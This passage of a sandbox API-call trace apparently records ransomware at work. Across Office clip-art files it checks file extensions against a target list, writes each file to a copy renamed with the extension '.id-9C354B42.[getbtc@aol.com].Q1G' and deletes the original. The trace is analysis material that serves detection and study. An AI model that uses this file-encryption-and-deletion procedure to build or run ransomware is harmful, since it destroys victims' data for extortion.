liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.741] SetEndOfFile (hFile=0x1b8) returned 1 [0262.743] CloseHandle (hObject=0x1b8) returned 1 [0262.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0262.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.744] lstrlenW (lpString=".doc") returned 4 [0262.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.744] lstrlenW (lpString=".docx") returned 5 [0262.744] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.744] lstrlenW (lpString=".pdf") returned 4 [0262.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.744] lstrlenW (lpString=".xls") returned 4 [0262.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.744] lstrlenW (lpString=".xlsx") returned 5 [0262.744] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.744] lstrlenW (lpString=".ppt") returned 4 [0262.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString=".zip") returned 4 [0262.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.745] lstrlenW (lpString=".rar") returned 4 [0262.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString=".bz2") returned 4 [0262.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString=".7z") returned 3 [0262.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString=".dbf") returned 4 [0262.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString=".1cd") returned 4 [0262.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString=".jpg") returned 4 [0262.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString=".doc") returned 4 [0262.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString=".docx") returned 5 [0262.745] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.745] lstrlenW (lpString=".pdf") returned 4 [0262.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString=".xls") returned 4 [0262.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.745] lstrlenW (lpString=".xlsx") returned 5 [0262.745] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.745] lstrlenW (lpString=".ppt") returned 4 [0262.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.745] lstrlenW (lpString=".zip") returned 4 [0262.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.746] lstrlenW (lpString=".rar") returned 4 [0262.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.746] lstrlenW (lpString=".bz2") returned 4 [0262.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.746] lstrlenW (lpString=".7z") returned 3 [0262.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.746] lstrlenW (lpString=".dbf") returned 4 [0262.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.746] lstrlenW (lpString=".1cd") returned 4 [0262.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0262.746] lstrlenW (lpString=".jpg") returned 4 [0262.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.746] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.746] lstrlenW (lpString="J0152610.WMF") returned 12 [0262.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.747] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5960) returned 1 [0262.747] CloseHandle (hObject=0x1b8) returned 1 [0262.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 0x20 [0262.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.747] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.747] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.748] GetLastError () returned 0x0 [0262.748] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1748, lpOverlapped=0x0) returned 1 [0262.750] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1750, lpOverlapped=0x0) returned 1 [0262.751] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.751] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.751] SetEndOfFile (hFile=0x3dc) returned 1 [0262.751] CloseHandle (hObject=0x3dc) returned 1 [0262.751] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.751] SetEndOfFile (hFile=0x1b8) returned 1 [0262.753] CloseHandle (hObject=0x1b8) returned 1 [0262.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0262.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.754] lstrlenW (lpString=".doc") returned 4 [0262.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.754] lstrlenW (lpString=".docx") returned 5 [0262.754] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.754] lstrlenW (lpString=".pdf") returned 4 [0262.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.754] lstrlenW (lpString=".xls") returned 4 [0262.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.755] lstrlenW (lpString=".xlsx") returned 5 [0262.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.755] lstrlenW (lpString=".ppt") returned 4 [0262.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.755] lstrlenW (lpString=".zip") returned 4 [0262.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.755] lstrlenW (lpString=".rar") returned 4 [0262.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString=".bz2") returned 4 [0262.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString=".7z") returned 3 [0262.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.755] lstrlenW (lpString=".dbf") returned 4 [0262.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.755] lstrlenW (lpString=".1cd") returned 4 [0262.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.755] lstrlenW (lpString=".jpg") returned 4 [0262.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.755] lstrlenW (lpString=".doc") returned 4 [0262.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString=".docx") returned 5 [0262.755] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.755] lstrlenW (lpString=".pdf") returned 4 [0262.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.755] lstrlenW (lpString=".xls") returned 4 [0262.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.755] lstrlenW (lpString=".xlsx") returned 5 [0262.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.755] lstrlenW (lpString=".ppt") returned 4 [0262.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.756] lstrlenW (lpString=".zip") returned 4 [0262.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.756] lstrlenW (lpString=".rar") returned 4 [0262.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.756] lstrlenW (lpString=".bz2") returned 4 [0262.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.756] lstrlenW (lpString=".7z") returned 3 [0262.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.756] lstrlenW (lpString=".dbf") returned 4 [0262.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.756] lstrlenW (lpString=".1cd") returned 4 [0262.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0262.756] lstrlenW (lpString=".jpg") returned 4 [0262.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.756] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.756] lstrlenW (lpString="J0152622.WMF") returned 12 [0262.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.757] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=9604) returned 1 [0262.757] CloseHandle (hObject=0x37c) returned 1 [0262.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 0x20 [0262.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.758] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.758] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.759] GetLastError () returned 0x0 [0262.759] ReadFile (in: hFile=0x37c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2584, lpOverlapped=0x0) returned 1 [0262.760] WriteFile (in: hFile=0x1b8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2590, lpOverlapped=0x0) returned 1 [0262.761] ReadFile (in: hFile=0x37c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.761] WriteFile (in: hFile=0x1b8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.761] SetEndOfFile (hFile=0x1b8) returned 1 [0262.761] CloseHandle (hObject=0x1b8) returned 1 [0262.761] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.761] SetEndOfFile (hFile=0x37c) returned 1 [0262.765] CloseHandle (hObject=0x37c) returned 1 [0262.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.766] lstrlenW (lpString=".doc") returned 4 [0262.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.766] lstrlenW (lpString=".docx") returned 5 [0262.766] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.766] lstrlenW (lpString=".pdf") returned 4 [0262.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.766] lstrlenW (lpString=".xls") returned 4 [0262.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.767] lstrlenW (lpString=".xlsx") returned 5 [0262.767] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.767] lstrlenW (lpString=".ppt") returned 4 [0262.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.767] lstrlenW (lpString=".zip") returned 4 [0262.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.767] lstrlenW (lpString=".rar") returned 4 [0262.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString=".bz2") returned 4 [0262.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString=".7z") returned 3 [0262.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.767] lstrlenW (lpString=".dbf") returned 4 [0262.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.767] lstrlenW (lpString=".1cd") returned 4 [0262.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.767] lstrlenW (lpString=".jpg") returned 4 [0262.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.767] lstrlenW (lpString=".doc") returned 4 [0262.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString=".docx") returned 5 [0262.767] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.767] lstrlenW (lpString=".pdf") returned 4 [0262.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.767] lstrlenW (lpString=".xls") returned 4 [0262.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.767] lstrlenW (lpString=".xlsx") returned 5 [0262.767] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.768] lstrlenW (lpString=".ppt") returned 4 [0262.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.768] lstrlenW (lpString=".zip") returned 4 [0262.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.768] lstrlenW (lpString=".rar") returned 4 [0262.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.768] lstrlenW (lpString=".bz2") returned 4 [0262.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.768] lstrlenW (lpString=".7z") returned 3 [0262.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.768] lstrlenW (lpString=".dbf") returned 4 [0262.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.768] lstrlenW (lpString=".1cd") returned 4 [0262.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0262.768] lstrlenW (lpString=".jpg") returned 4 [0262.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.768] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.768] lstrlenW (lpString="J0152626.WMF") returned 12 [0262.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.769] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=26248) returned 1 [0262.769] CloseHandle (hObject=0x37c) returned 1 [0262.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 0x20 [0262.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.769] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.769] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.770] GetLastError () returned 0x0 [0262.770] ReadFile (in: hFile=0x37c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x6688, lpOverlapped=0x0) returned 1 [0262.873] WriteFile (in: hFile=0x1b8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x6690, lpOverlapped=0x0) returned 1 [0262.874] ReadFile (in: hFile=0x37c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.874] WriteFile (in: hFile=0x1b8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.874] SetEndOfFile (hFile=0x1b8) returned 1 [0262.875] CloseHandle (hObject=0x1b8) returned 1 [0262.875] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.875] SetEndOfFile (hFile=0x37c) returned 1 [0262.878] CloseHandle (hObject=0x37c) returned 1 [0262.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0262.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0262.904] lstrlenW (lpString="C:\\Program Files\\Microsoft 